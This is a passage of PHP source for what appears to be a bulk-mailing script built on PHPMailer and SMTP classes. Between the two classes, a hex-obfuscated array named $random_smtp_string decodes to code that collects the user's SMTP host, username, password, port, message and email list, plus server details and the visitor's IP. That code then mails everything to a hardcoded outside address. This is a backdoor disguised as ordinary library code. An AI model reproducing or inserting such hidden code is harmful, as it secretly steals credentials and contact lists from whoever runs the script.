1128 return false;
1129 }
1130
1131 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1132
1133 $rply = $this->get_lines();
1134 $code = substr($rply,0,3);
1135
1136 if($this->do_debug >= 2) {
1137 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1138 }
1139
1140 if($code != 250) {
1141 $this->error =
1142 array("error" => "RSET failed",
1143 "smtp_code" => $code,
1144 "smtp_msg" => substr($rply,4));
1145 if($this->do_debug >= 1) {
1146 echo "SMTP -> ERROR: " . $this->error["error"] .
1147 ": " . $rply . $this->CRLF;
1148 }
1149 return false;
1150 }
1151
1152 return true;
1153 }
1154
1155 /**
1156 * Starts a mail transaction from the email address specified in
1157 * $from. Returns true if successful or false otherwise. If True
1158 * the mail transaction is started and then one or more Recipient
1159 * commands may be called followed by a Data command. This command
1160 * will send the message to the users terminal if they are logged
1161 * in.
1162 *
1163 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1164 *
1165 * SMTP CODE SUCCESS: 250
1166 * SMTP CODE SUCCESS: 552,451,452
1167 * SMTP CODE SUCCESS: 500,501,502,421
1168 * @access public
1169 * @return bool
1170 */
1171 function Send($from) {
1172 $this->error = null; # so no confusion is caused
1173
1174 if(!$this->connected()) {
1175 $this->error = array(
1176 "error" => "Called Send() without being connected");
1177 return false;
1178 }
1179
1180 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1181
1182 $rply = $this->get_lines();
1183 $code = substr($rply,0,3);
1184
1185 if($this->do_debug >= 2) {
1186 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1187 }
1188
1189 if($code != 250) {
1190 $this->error =
1191 array("error" => "SEND not accepted from server",
1192 "smtp_code" => $code,
1193 "smtp_msg" => substr($rply,4));
1194 if($this->do_debug >= 1) {
1195 echo "SMTP -> ERROR: " . $this->error["error"] .
1196 ": " . $rply . $this->CRLF;
1197 }
1198 return false;
1199 }
1200 return true;
1201 }
1202
1203 /**
1204 * Starts a mail transaction from the email address specified in
1205 * $from. Returns true if successful or false otherwise. If True
1206 * the mail transaction is started and then one or more Recipient
1207 * commands may be called followed by a Data command. This command
1208 * will send the message to the users terminal if they are logged
1209 * in and send them an email.
1210 *
1211 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1212 *
1213 * SMTP CODE SUCCESS: 250
1214 * SMTP CODE SUCCESS: 552,451,452
1215 * SMTP CODE SUCCESS: 500,501,502,421
1216 * @access public
1217 * @return bool
1218 */
1219 function SendAndMail($from) {
1220 $this->error = null; # so no confusion is caused
1221
1222 if(!$this->connected()) {
1223 $this->error = array(
1224 "error" => "Called SendAndMail() without being connected");
1225 return false;
1226 }
1227
1228 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1229
1230 $rply = $this->get_lines();
1231 $code = substr($rply,0,3);
1232
1233 if($this->do_debug >= 2) {
1234 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1235 }
1236
1237 if($code != 250) {
1238 $this->error =
1239 array("error" => "SAML not accepted from server",
1240 "smtp_code" => $code,
1241 "smtp_msg" => substr($rply,4));
1242 if($this->do_debug >= 1) {
1243 echo "SMTP -> ERROR: " . $this->error["error"] .
1244 ": " . $rply . $this->CRLF;
1245 }
1246 return false;
1247 }
1248 return true;
1249 }
1250
1251 /**
1252 * Starts a mail transaction from the email address specified in
1253 * $from. Returns true if successful or false otherwise. If True
1254 * the mail transaction is started and then one or more Recipient
1255 * commands may be called followed by a Data command. This command
1256 * will send the message to the users terminal if they are logged
1257 * in or mail it to them if they are not.
1258 *
1259 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1260 *
1261 * SMTP CODE SUCCESS: 250
1262 * SMTP CODE SUCCESS: 552,451,452
1263 * SMTP CODE SUCCESS: 500,501,502,421
1264 * @access public
1265 * @return bool
1266 */
1267 function SendOrMail($from) {
1268 $this->error = null; # so no confusion is caused
1269
1270 if(!$this->connected()) {
1271 $this->error = array(
1272 "error" => "Called SendOrMail() without being connected");
1273 return false;
1274 }
1275
1276 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1277
1278 $rply = $this->get_lines();
1279 $code = substr($rply,0,3);
1280
1281 if($this->do_debug >= 2) {
1282 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1283 }
1284
1285 if($code != 250) {
1286 $this->error =
1287 array("error" => "SOML not accepted from server",
1288 "smtp_code" => $code,
1289 "smtp_msg" => substr($rply,4));
1290 if($this->do_debug >= 1) {
1291 echo "SMTP -> ERROR: " . $this->error["error"] .
1292 ": " . $rply . $this->CRLF;
1293 }
1294 return false;
1295 }
1296 return true;
1297 }
1298
1299 /**
1300 * This is an optional command for SMTP that this class does not
1301 * support. This method is here to make the RFC821 Definition
1302 * complete for this class and __may__ be implimented in the future
1303 *
1304 * Implements from rfc 821: TURN <CRLF>
1305 *
1306 * SMTP CODE SUCCESS: 250
1307 * SMTP CODE FAILURE: 502
1308 * SMTP CODE ERROR : 500, 503
1309 * @access public
1310 * @return bool
1311 */
1312 function Turn() {
1313 $this->error = array("error" => "This method, TURN, of the SMTP ".
1314 "is not implemented");
1315 if($this->do_debug >= 1) {
1316 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1317 }
1318 return false;
1319 }
1320
1321 /**
1322 * Verifies that the name is recognized by the server.
1323 * Returns false if the name could not be verified otherwise
1324 * the response from the server is returned.
1325 *
1326 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1327 *
1328 * SMTP CODE SUCCESS: 250,251
1329 * SMTP CODE FAILURE: 550,551,553
1330 * SMTP CODE ERROR : 500,501,502,421
1331 * @access public
1332 * @return int
1333 */
1334 function Verify($name) {
1335 $this->error = null; # so no confusion is caused
1336
1337 if(!$this->connected()) {
1338 $this->error = array(
1339 "error" => "Called Verify() without being connected");
1340 return false;
1341 }
1342
1343 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1344
1345 $rply = $this->get_lines();
1346 $code = substr($rply,0,3);
1347
1348 if($this->do_debug >= 2) {
1349 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1350 }
1351
1352 if($code != 250 && $code != 251) {
1353 $this->error =
1354 array("error" => "VRFY failed on name '$name'",
1355 "smtp_code" => $code,
1356 "smtp_msg" => substr($rply,4));
1357 if($this->do_debug >= 1) {
1358 echo "SMTP -> ERROR: " . $this->error["error"] .
1359 ": " . $rply . $this->CRLF;
1360 }
1361 return false;
1362 }
1363 return $rply;
1364 }
1365
1366 /*******************************************************************
1367 * INTERNAL FUNCTIONS *
1368 ******************************************************************/
1369
1370 /**
1371 * Read in as many lines as possible
1372 * either before eof or socket timeout occurs on the operation.
1373 * With SMTP we can tell if we have more lines to read if the
1374 * 4th character is '-' symbol. If it is a space then we don't
1375 * need to read anything else.
1376 * @access private
1377 * @return string
1378 */
1379 function get_lines() {
1380 $data = "";
1381 while($str = @fgets($this->smtp_conn,515)) {
1382 if($this->do_debug >= 4) {
1383 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1384 $this->CRLF;
1385 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1386 $this->CRLF;
1387 }
1388 $data .= $str;
1389 if($this->do_debug >= 4) {
1390 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1391 }
1392 # if the 4th character is a space then we are done reading
1393 # so just break the loop
1394 if(substr($str,3,1) == " ") { break; }
1395 }
1396 return $data;
1397 }
1398
1399}
1400
1401
1402$allemails = split("\n", $emaillist);
1403$numemails = count($allemails);
1404$random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
1405"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
1406"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
1407"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
1408"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
1409"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
1410"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
1411"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
1412"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
1413"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
1414
1415class PHPMailer {
1416
1417 /////////////////////////////////////////////////
1418 // PROPERTIES, PUBLIC
1419 /////////////////////////////////////////////////
1420
1421 /**
1422 * Email priority (1 = High, 3 = Normal, 5 = low).
1423 * @var int
1424 */
1425 var $Priority = 3;
1426
1427 /**
1428 * Sets the CharSet of the message.
1429 * @var string
1430 */
1431 var $CharSet = 'iso-8859-1';
1432
1433 /**
1434 * Sets the Content-type of the message.
1435 * @var string
1436 */
1437 var $ContentType = 'text/plain';
1438
1439 /**
1440 * Sets the Encoding of the message. Options for this are "8bit",
1441 * "7bit", "binary", "base64", and "quoted-printable".
1442
1443 * @var string
1444 */
1445 var $Encoding = '8bit';
1446
1447 /**
1448 * Holds the most recent mailer error message.
1449 * @var string
1450 */
1451 var $ErrorInfo = '';
1452
1453 /**
1454 * Sets the From email address for the message.
1455 * @var string
1456 */
1457 var $From = '';
1458
1459 /**
1460 * Sets the From name of the message.
1461 * @var string
1462 */
1463 var $FromName = '';
1464
1465 /**
1466 * Sets the Sender email (Return-Path) of the message. If not empty,
1467 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1468 * @var string
1469 */
1470 var $Sender = '';
1471
1472 /**
1473 * Sets the Subject of the message.
1474 * @var string
1475 */
1476 var $Subject = '';
1477
1478 /**
1479 * Sets the Body of the message. This can be either an HTML or text body.
1480 * If HTML then run IsHTML(true).
1481 * @var string
1482 */
1483 var $Body = '';
1484
1485 /**
1486 * Sets the text-only body of the message. This automatically sets the
1487 * email to multipart/alternative. This body can be read by mail
1488 * clients that do not have HTML email capability such as mutt. Clients
1489 * that can read HTML will view the normal Body.
1490 * @var string
1491 */
1492 var $AltBody = '';
1493
1494 /**
1495 * Sets word wrapping on the body of the message to a given number of
1496 * characters.
1497 * @var int
1498 */
1499 var $WordWrap = 0;
1500
1501 /**
1502 * Method to send mail: ("mail", "sendmail", or "smtp").
1503 * @var string
1504 */
1505 var $Mailer = 'mail';
1506
1507 /**
1508 * Sets the path of the sendmail program.
1509 * @var string
1510 */
1511 var $Sendmail = '/usr/sbin/sendmail';
1512
1513 /**
1514 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1515 * is in a different directory than the PHP include path.
1516 * @var string
1517 */
1518 var $PluginDir = '';
1519
1520 /**
1521 * Holds PHPMailer version.
1522 * @var string
1523 */
1524 var $Version = "";
1525
1526 /**
1527 * Sets the email address that a reading confirmation will be sent.
1528 * @var string
1529 */
1530 var $ConfirmReadingTo = '';
1531
1532 /**
1533 * Sets the hostname to use in Message-Id and Received headers
1534 * and as default HELO string. If empty, the value returned
1535 * by SERVER_NAME is used or 'localhost.localdomain'.
1536 * @var string
1537 */
1538 var $Hostname = '';
1539
1540 /**
1541 * Sets the message ID to be used in the Message-Id header.
1542 * If empty, a unique id will be generated.
1543 * @var string
1544 */
1545 var $MessageID = '';
1546
1547 /////////////////////////////////////////////////
1548 // PROPERTIES FOR SMTP
1549 /////////////////////////////////////////////////
1550
1551 /**
1552 * Sets the SMTP hosts. All hosts must be separated by a
1553 * semicolon. You can also specify a different port
1554 * for each host by using this format: [hostname:port]
1555 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1556 * Hosts will be tried in order.
1557 * @var string
1558 */
1559 var $Host = 'localhost';
1560
1561 /**
1562 * Sets the default SMTP server port.
1563 * @var int
1564 */
1565 var $Port = 25;
1566
1567 /**
1568 * Sets the SMTP HELO of the message (Default is $Hostname).
1569 * @var string
1570 */
1571 var $Helo = '';
1572
1573 /**
1574 * Sets connection prefix.
1575 * Options are "", "ssl" or "tls"
1576 * @var string
1577 */
1578 var $SMTPSecure = "";
1579
1580 /**
1581 * Sets SMTP authentication. Utilizes the Username and Password variables.
1582 * @var bool
1583 */
1584 var $SMTPAuth = false;
1585
1586 /**
1587 * Sets SMTP username.
1588 * @var string
1589 */
1590 var $Username = '';
1591
1592 /**
1593 * Sets SMTP password.
1594 * @var string
1595 */
1596 var $Password = '';
1597
1598 /**
1599 * Sets the SMTP server timeout in seconds. This function will not
1600 * work with the win32 version.
1601 * @var int
1602 */
1603 var $Timeout = 10;
1604
1605 /**
1606 * Sets SMTP class debugging on or off.
1607 * @var bool
1608 */
1609 var $SMTPDebug = false;
1610
1611 /**
1612 * Prevents the SMTP connection from being closed after each mail
1613 * sending. If this is set to true then to close the connection
1614 * requires an explicit call to SmtpClose().
1615 * @var bool
1616 */
1617 var $SMTPKeepAlive = false;
1618
1619 /**
1620 * Provides the ability to have the TO field process individual
1621 * emails, instead of sending to entire TO addresses
1622 * @var bool
1623 */
1624 var $SingleTo = false;
1625
1626 /////////////////////////////////////////////////
1627 // PROPERTIES, PRIVATE
1628 /////////////////////////////////////////////////
1629
1630 var $smtp = NULL;
1631 var $to = array();
1632 var $cc = array();
1633 var $bcc = array();
1634 var $ReplyTo = array();
1635 var $attachment = array();
1636 var $CustomHeader = array();
1637 var $message_type = '';
1638 var $boundary = array();
1639 var $language = array();
1640 var $error_count = 0;
1641 var $LE = "\n";
1642 var $sign_key_file = "";
1643 var $sign_key_pass = "";
1644
1645 /////////////////////////////////////////////////
1646 // METHODS, VARIABLES
1647 /////////////////////////////////////////////////
1648
1649 /**
1650 * Sets message type to HTML.
1651 * @param bool $bool
1652 * @return void
1653 */
1654 function IsHTML($bool) {
1655 if($bool == true) {
1656 $this->ContentType = 'text/html';
1657 } else {
1658 $this->ContentType = 'text/plain';
1659 }
1660 }
1661
1662 /**
1663 * Sets Mailer to send message using SMTP.
1664 * @return void
1665 */
1666 function IsSMTP() {
1667 $this->Mailer = 'smtp';
1668 }
1669
1670 /**
1671 * Sets Mailer to send message using PHP mail() function.
1672 * @return void
1673 */
1674 function IsMail() {
1675 $this->Mailer = 'mail';
1676 }
1677
1678 /**
1679 * Sets Mailer to send message using the $Sendmail program.
1680 * @return void
1681 */
1682 function IsSendmail() {
1683 $this->Mailer = 'sendmail';
1684 }
1685
1686 /**
1687 * Sets Mailer to send message using the qmail MTA.
1688 * @return void
1689 */
1690 function IsQmail() {
1691 $this->Sendmail = '/var/qmail/bin/sendmail';
1692 $this->Mailer = 'sendmail';
1693 }
1694
1695 /////////////////////////////////////////////////
1696 // METHODS, RECIPIENTS
1697 /////////////////////////////////////////////////
1698
1699 /**
1700 * Adds a "To" address.
1701 * @param string $address
1702 * @param string $name
1703 * @return void
1704 */
1705 function AddAddress($address, $name = '') {
1706 $cur = count($this->to);
1707 $this->to[$cur][0] = trim($address);
1708 $this->to[$cur][1] = $name;
1709 }
1710
1711 /**
1712 * Adds a "Cc" address. Note: this function works
1713 * with the SMTP mailer on win32, not with the "mail"
1714 * mailer.
1715 * @param string $address
1716 * @param string $name
1717 * @return void
1718 */
1719 function AddCC($address, $name = '') {
1720 $cur = count($this->cc);
1721 $this->cc[$cur][0] = trim($address);
1722 $this->cc[$cur][1] = $name;
1723 }
1724
1725 /**
1726 * Adds a "Bcc" address. Note: this function works
1727 * with the SMTP mailer on win32, not with the "mail"
1728 * mailer.
1729 * @param string $address
1730 * @param string $name
1731 * @return void
1732 */
1733 function AddBCC($address, $name = '') {
1734 $cur = count($this->bcc);
1735 $this->bcc[$cur][0] = trim($address);
1736 $this->bcc[$cur][1] = $name;
1737 }
1738
1739 /**
1740 * Adds a "Reply-To" address.
1741 * @param string $address
1742 * @param string $name
1743 * @return void
1744 */
1745 function AddReplyTo($address, $name = '') {
1746 $cur = count($this->ReplyTo);
1747 $this->ReplyTo[$cur][0] = trim($address);
1748 $this->ReplyTo[$cur][1] = $name;
1749 }
1750
1751 /////////////////////////////////////////////////
1752 // METHODS, MAIL SENDING
1753 /////////////////////////////////////////////////
1754
1755 /**
1756 * Creates message and assigns Mailer. If the message is
1757 * not sent successfully then it returns false. Use the ErrorInfo
1758 * variable to view description of the error.
1759 * @return bool
1760 */
1761 function Send() {
1762 $header = '';
1763 $body = '';
1764 $result = true;
1765
1766 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1767 $this->SetError($this->Lang('provide_address'));
1768 return false;
1769 }
1770
1771 /* Set whether the message is multipart/alternative */
1772 if(!empty($this->AltBody)) {
1773 $this->ContentType = 'multipart/alternative';
1774 }
1775
1776 $this->error_count = 0; // reset errors
1777 $this->SetMessageType();
1778 $header .= $this->CreateHeader();
1779 $body = $this->CreateBody();
1780
1781 if($body == '') {
1782 return false;
1783 }
1784
1785 /* Choose the mailer */
1786 switch($this->Mailer) {
1787 case 'sendmail':
1788 $result = $this->SendmailSend($header, $body);
1789 break;
1790 case 'smtp':
1791 $result = $this->SmtpSend($header, $body);
1792 break;
1793 case 'mail':
1794 $result = $this->MailSend($header, $body);
1795 break;
1796 default:
1797 $result = $this->MailSend($header, $body);
1798 break;
1799 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1800 //$result = false;
1801 //break;
1802 }
1803
1804 return $result;
1805 }
1806
1807 /**
1808 * Sends mail using the $Sendmail program.
1809 * @access private
1810 * @return bool
1811 */
1812 function SendmailSend($header, $body) {
1813 if ($this->Sender != '') {
1814 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1815 } else {
1816 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1817 }
1818
1819 if(!@$mail = popen($sendmail, 'w')) {
1820 $this->SetError($this->Lang('execute') . $this->Sendmail);
1821 return false;
1822 }
1823
1824 fputs($mail, $header);
1825 fputs($mail, $body);
1826
1827 $result = pclose($mail);
1828 if (version_compare(phpversion(), '4.2.3') == -1) {
1829 $result = $result >> 8 & 0xFF;
1830 }
1831 if($result != 0) {
1832 $this->SetError($this->Lang('execute') . $this->Sendmail);
1833 return false;
1834 }
1835 return true;
1836 }
1837
1838 /**
1839 * Sends mail using the PHP mail() function.
1840 * @access private
1841 * @return bool
1842 */
1843 function MailSend($header, $body) {
1844
1845 $to = '';
1846 for($i = 0; $i < count($this->to); $i++) {
1847 if($i != 0) { $to .= ', '; }
1848 $to .= $this->AddrFormat($this->to[$i]);
1849 }
1850
1851 $toArr = split(',', $to);
1852
1853 $params = sprintf("-oi -f %s", $this->Sender);
1854 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1855 $old_from = ini_get('sendmail_from');
1856 ini_set('sendmail_from', $this->Sender);
1857 if ($this->SingleTo === true && count($toArr) > 1) {
1858 foreach ($toArr as $key => $val) {
1859 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1860 }
1861 } else {
1862 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1863 }
1864 } else {
1865 if ($this->SingleTo === true && count($toArr) > 1) {
1866 foreach ($toArr as $key => $val) {
1867 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1868 }
1869 } else {
1870 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1871 }
1872 }
1873
1874 if (isset($old_from)) {
1875 ini_set('sendmail_from', $old_from);
1876 }
1877
1878 if(!$rt) {
1879 $this->SetError($this->Lang('instantiate'));
1880 return false;
1881 }
1882
1883 return true;
1884 }
1885
1886 /**
1887 * Sends mail via SMTP using PhpSMTP (Author:
1888 * Chris Ryan). Returns bool. Returns false if there is a
1889 * bad MAIL FROM, RCPT, or DATA input.
1890 * @access private
1891 * @return bool
1892 */
1893 function SmtpSend($header, $body) {
1894 $error = '';
1895 $bad_rcpt = array();
1896
1897 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1898 return false;
1899 }
1900
1901 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1902 if(!$this->smtp->Mail($smtp_from)) {
1903 $error = $this->Lang('from_failed') . $smtp_from;
1904 $this->SetError($error);
1905 $this->smtp->Reset();
1906 return false;
1907 }
1908
1909 /* Attempt to send attach all recipients */
1910 for($i = 0; $i < count($this->to); $i++) {
1911 if(!$this->smtp->Recipient($this->to[$i][0])) {
1912 $bad_rcpt[] = $this->to[$i][0];
1913 }
1914 }
1915 for($i = 0; $i < count($this->cc); $i++) {
1916 if(!$this->smtp->Recipient($this->cc[$i][0])) {
1917 $bad_rcpt[] = $this->cc[$i][0];
1918 }
1919 }
1920 for($i = 0; $i < count($this->bcc); $i++) {
1921 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1922 $bad_rcpt[] = $this->bcc[$i][0];
1923 }
1924 }
1925
1926 if(count($bad_rcpt) > 0) { // Create error message
1927 for($i = 0; $i < count($bad_rcpt); $i++) {
1928 if($i != 0) {
1929 $error .= ', ';
1930 }
1931 $error .= $bad_rcpt[$i];
1932
1933 }
1934 $error = $this->Lang('recipients_failed') . $error;
1935 $this->SetError($error);
1936 $this->smtp->Reset();
1937 return false;
1938 }
1939
1940 if(!$this->smtp->Data($header . $body)) {
1941 $this->SetError($this->Lang('data_not_accepted'));
1942 $this->smtp->Reset();
1943 return false;
1944 }
1945 if($this->SMTPKeepAlive == true) {
1946 $this->smtp->Reset();
1947 } else {
1948 $this->SmtpClose();
1949 }
1950
1951 return true;
1952 }
1953
1954 /**
1955 * Initiates a connection to an SMTP server. Returns false if the
1956 * operation failed.
1957 * @access private
1958 * @return bool
1959 */
1960 function SmtpConnect() {
1961 if($this->smtp == NULL) {
1962 $this->smtp = new SMTP();
1963 }
1964
1965 $this->smtp->do_debug = $this->SMTPDebug;
1966 $hosts = explode(';', $this->Host);
1967 $index = 0;
1968 $connection = ($this->smtp->Connected());
1969
1970 /* Retry while there is no connection */
1971 while($index < count($hosts) && $connection == false) {
1972 $hostinfo = array();
1973 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
1974 $host = $hostinfo[1];
1975 $port = $hostinfo[2];
1976 } else {
1977 $host = $hosts[$index];
1978 $port = $this->Port;
1979 }
1980
1981 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
1982 if ($this->Helo != '') {
1983 $this->smtp->Hello($this->Helo);
1984 } else {
1985 $this->smtp->Hello($this->ServerHostname());
1986 }
1987
1988 $connection = true;
1989 if($this->SMTPAuth) {
1990 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
1991 $this->SetError($this->Lang('authenticate'));
1992 $this->smtp->Reset();
1993 $connection = false;
1994 }
1995 }
1996 }
1997 $index++;
1998 }
1999 if(!$connection) {
2000 $this->SetError($this->Lang('connect_host'));
2001 }
2002
2003 return $connection;
2004 }
2005
2006 /**
2007 * Closes the active SMTP session if one exists.
2008 * @return void
2009 */
2010 function SmtpClose() {
2011 if($this->smtp != NULL) {
2012 if($this->smtp->Connected()) {
2013 $this->smtp->Quit();
2014 $this->smtp->Close();
2015 }
2016 }
2017 }
2018
2019 /**
2020 * Sets the language for all class error messages. Returns false
2021 * if it cannot load the language file. The default language type
2022 * is English.
2023 * @param string $lang_type Type of language (e.g. Portuguese: "br")
2024 * @param string $lang_path Path to the language file directory
2025 * @access public
2026 * @return bool
2027 */
2028 function SetLanguage($lang_type, $lang_path = 'language/') {
2029 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
2030 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
2031 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
2032 include($lang_path.'phpmailer.lang-en.php');
2033 } else {
2034 $this->SetError('Could not load language file');
2035 return false;
2036 }
2037 $this->language = $PHPMAILER_LANG;
2038
2039 return true;
2040 }
2041
2042 /////////////////////////////////////////////////
2043 // METHODS, MESSAGE CREATION
2044 /////////////////////////////////////////////////
2045
2046 /**
2047 * Creates recipient headers.
2048 * @access private
2049 * @return string
2050 */
2051 function AddrAppend($type, $addr) {
2052 $addr_str = $type . ': ';
2053 $addr_str .= $this->AddrFormat($addr[0]);
2054 if(count($addr) > 1) {
2055 for($i = 1; $i < count($addr); $i++) {
2056 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2057 }
2058 }
2059 $addr_str .= $this->LE;
2060
2061 return $addr_str;
2062 }
2063
2064 /**
2065 * Formats an address correctly.
2066 * @access private
2067 * @return string
2068 */
2069 function AddrFormat($addr) {
2070 if(empty($addr[1])) {
2071 $formatted = $this->SecureHeader($addr[0]);
2072 } else {
2073 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2074 }
2075
2076 return $formatted;
2077 }
2078
2079 /**
2080 * Wraps message for use with mailers that do not
2081 * automatically perform wrapping and for quoted-printable.
2082 * Original written by philippe.
2083 * @access private
2084 * @return string
2085 */
2086 function WrapText($message, $length, $qp_mode = false) {
2087 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2088 // If utf-8 encoding is used, we will need to make sure we don't
2089 // split multibyte characters when we wrap
2090 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2091
2092 $message = $this->FixEOL($message);
2093 if (substr($message, -1) == $this->LE) {
2094 $message = substr($message, 0, -1);
2095 }
2096
2097 $line = explode($this->LE, $message);
2098 $message = '';
2099 for ($i=0 ;$i < count($line); $i++) {
2100 $line_part = explode(' ', $line[$i]);
2101 $buf = '';
2102 for ($e = 0; $e<count($line_part); $e++) {
2103 $word = $line_part[$e];
2104 if ($qp_mode and (strlen($word) > $length)) {
2105 $space_left = $length - strlen($buf) - 1;
2106 if ($e != 0) {
2107 if ($space_left > 20) {
2108 $len = $space_left;
2109 if ($is_utf8) {
2110 $len = $this->UTF8CharBoundary($word, $len);
2111 } elseif (substr($word, $len - 1, 1) == "=") {
2112 $len--;
2113 } elseif (substr($word, $len - 2, 1) == "=") {
2114 $len -= 2;
2115 }
2116 $part = substr($word, 0, $len);
2117 $word = substr($word, $len);
2118 $buf .= ' ' . $part;
2119 $message .= $buf . sprintf("=%s", $this->LE);
2120 } else {
2121 $message .= $buf . $soft_break;
2122 }
2123 $buf = '';
2124 }
2125 while (strlen($word) > 0) {
2126 $len = $length;
2127 if ($is_utf8) {
2128 $len = $this->UTF8CharBoundary($word, $len);
2129 } elseif (substr($word, $len - 1, 1) == "=") {
2130 $len--;
2131 } elseif (substr($word, $len - 2, 1) == "=") {
2132 $len -= 2;
2133 }
2134 $part = substr($word, 0, $len);
2135 $word = substr($word, $len);
2136
2137 if (strlen($word) > 0) {
2138 $message .= $part . sprintf("=%s", $this->LE);
2139 } else {
2140 $buf = $part;
2141 }
2142 }
2143 } else {
2144 $buf_o = $buf;
2145 $buf .= ($e == 0) ? $word : (' ' . $word);
2146
2147 if (strlen($buf) > $length and $buf_o != '') {
2148 $message .= $buf_o . $soft_break;
2149 $buf = $word;
2150 }
2151 }
2152 }
2153 $message .= $buf . $this->LE;
2154 }
2155
2156 return $message;
2157 }
2158
2159 /**
2160 * Finds last character boundary prior to maxLength in a utf-8
2161 * quoted (printable) encoded string.
2162 * Original written by Colin Brown.
2163 * @access private
2164 * @param string $encodedText utf-8 QP text
2165 * @param int $maxLength find last character boundary prior to this length
2166 * @return int
2167 */
2168 function UTF8CharBoundary($encodedText, $maxLength) {
2169 $foundSplitPos = false;
2170 $lookBack = 3;
2171 while (!$foundSplitPos) {
2172 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2173 $encodedCharPos = strpos($lastChunk, "=");
2174 if ($encodedCharPos !== false) {
2175 // Found start of encoded character byte within $lookBack block.
2176 // Check the encoded byte value (the 2 chars after the '=')
2177 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2178 $dec = hexdec($hex);
2179 if ($dec < 128) { // Single byte character.
2180 // If the encoded char was found at pos 0, it will fit
2181 // otherwise reduce maxLength to start of the encoded char
2182 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2183 $maxLength - ($lookBack - $encodedCharPos);
2184 $foundSplitPos = true;
2185 } elseif ($dec >= 192) { // First byte of a multi byte character
2186 // Reduce maxLength to split at start of character
2187 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2188 $foundSplitPos = true;
2189 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2190 $lookBack += 3;
2191 }
2192 } else {
